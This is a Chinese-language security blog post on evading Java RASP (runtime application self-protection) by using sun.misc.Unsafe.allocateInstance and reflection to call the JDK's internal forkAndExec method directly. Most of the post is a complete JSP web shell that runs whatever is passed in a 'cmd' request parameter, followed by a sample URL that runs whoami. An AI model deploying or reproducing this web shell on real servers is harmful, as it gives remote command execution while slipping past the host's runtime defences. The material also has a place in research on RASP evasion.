0x01 前言

这个姿势最开始还是在博客园看到的,但是不知道为啥子现在文章404了,好在当时把文中的代码备份下来了

在RASP里其实是Hook掉了一些Runtime、ProcessBuilder 等类
Runtime.exec调用的是ProcessBuilder.start
ProcessBuilder.start的底层会调用ProcessImpl类
那么这时候如果去Hook掉UNIXProcess/ProcessImpl是不是就无法进行执行命令了?

答应是不一定的
还可以通过使用sun.misc.Unsafe.allocateInstance的特性可以在无需new或者newInstance创建UNIXProcess/ProcessImpl类对象
这样子来绕过RASP

0x02 例子-通过allocateInstance类+反射绕过RASP

  1. # 在 webapp目录下面新建立一个文件: forkAndExecLinuxTest.jsp
  2. # 文件名: forkAndExecLinuxTest.jsp
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page import="java.lang.reflect.Field" %>
  6. <%@ page import="sun.misc.Unsafe" %>
  7. <%@ page import="java.lang.reflect.Method" %>
  8. <%@ page import="java.io.IOException" %>
  9. <%@ page import="java.io.ByteArrayOutputStream" %>
  11. <%
  12.     String[] str = request.getParameterValues("cmd");
  14.     if (str != null) {
  15.         InputStream in = exec(str);
  16.         String result = inputStreamToString(in, "UTF-8");
  17.         out.println(result);
  18.     }
  19. %>
  20. <%!
  21.     public InputStream exec(String[] strs) throws Exception {
  22.         String UNIXProcessClass = "java.lang.UNIXProcess";
  23.         String ProcessImplClass = "java.lang.ProcessImpl";
  25.         Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
  26.         theUnsafeField.setAccessible(true);
  27.         Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
  29.         // 反射创建UNIXProcess或者ProcessImpl
  30.         Class processClass = null;
  31.         try {
  32.             processClass = Class.forName(UNIXProcessClass);
  33.         } catch (ClassNotFoundException e) {
  34.             processClass = Class.forName(ProcessImplClass);
  35.         }
  37.         Object processObject = unsafe.allocateInstance(processClass);
  39.         byte[][] args = new byte[strs.length - 1][];
  40.         int size = args.length;
  42.         for (int i = 0; i < args.length; i++) {
  43.             args[i] = strs[i + 1].getBytes();
  44.             size += args[i].length;
  45.         }
  47.         byte[] argBlock = new byte[size];
  48.         int i = 0;
  50.         for (byte[] arg : args) {
  51.             System.arraycopy(arg, 0, argBlock, i, arg.length);
  52.             i += arg.length + 1;
  53.         }
  55.         int[] envc = new int[1];
  56.         int[] std_fds = new int[]{-1, -1, -1};
  57.         Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
  58.         Field helperpathField = processClass.getDeclaredField("helperpath");
  59.         launchMechanismField.setAccessible(true);
  60.         helperpathField.setAccessible(true);
  61.         Object launchMechanismObject = launchMechanismField.get(processObject);
  62.         byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
  64.         int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
  66.         Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
  67.                 int.class, byte[].class, byte[].class, byte[].class, int.class,
  68.                 byte[].class, int.class, byte[].class, int[].class, boolean.class
  69.         });
  70.         forkMethod.setAccessible(true);
  72.         int pid = (int) forkMethod.invoke(processObject, new Object[]{
  73.                 ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
  74.                 null, envc[0], null, std_fds, false
  75.         });
  77.         // 初始化命令执行结果，将本地命令执行的输出流转换为程序执行结果的输出流
  78.         Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
  79.         initStreamsMethod.setAccessible(true);
  80.         initStreamsMethod.invoke(processObject, std_fds);
  82.         // 获取本地执行结果的输入流
  83.         Method getInputStreamMethod = processClass.getMethod("getInputStream");
  84.         getInputStreamMethod.setAccessible(true);
  85.         InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
  86.         return in;
  87.     }
  88. %>
  89. <%!
  90.     private byte[] toCString(String s) {
  91.         if (s == null) {
  92.             return null;
  93.         }
  95.         byte[] bytes = s.getBytes();
  96.         byte[] result = new byte[bytes.length + 1];
  97.         System.arraycopy(bytes, 0, result, 0, bytes.length);
  98.         result[result.length - 1] = (byte) 0;
  99.         return result;
  100.     }
  102.     private String inputStreamToString(InputStream in, String charset) throws IOException {
  103.         try {
  104.             if (charset == null) {
  105.                 charset = "UTF-8";
  106.             }
  108.             ByteArrayOutputStream out = new ByteArrayOutputStream();
  109.             int a = 0;
  110.             byte[] b = new byte[1024];
  112.             while ((a = in.read(b)) != -1) {
  113.                 out.write(b, 0, a);
  114.             }
  116.             return new String(out.toByteArray());
  117.         } catch (IOException e) {
  118.             throw e;
  119.         } finally {
  120.             if (in != null)
  121.                 in.close();
  122.         }
  123.     }
  124. %>
  1. 访问url：http://127.0.0.1:8081/mavenJspTest_war/forkAndExecTest.jsp?cmd=whoami

命令执行效果如下:
image.png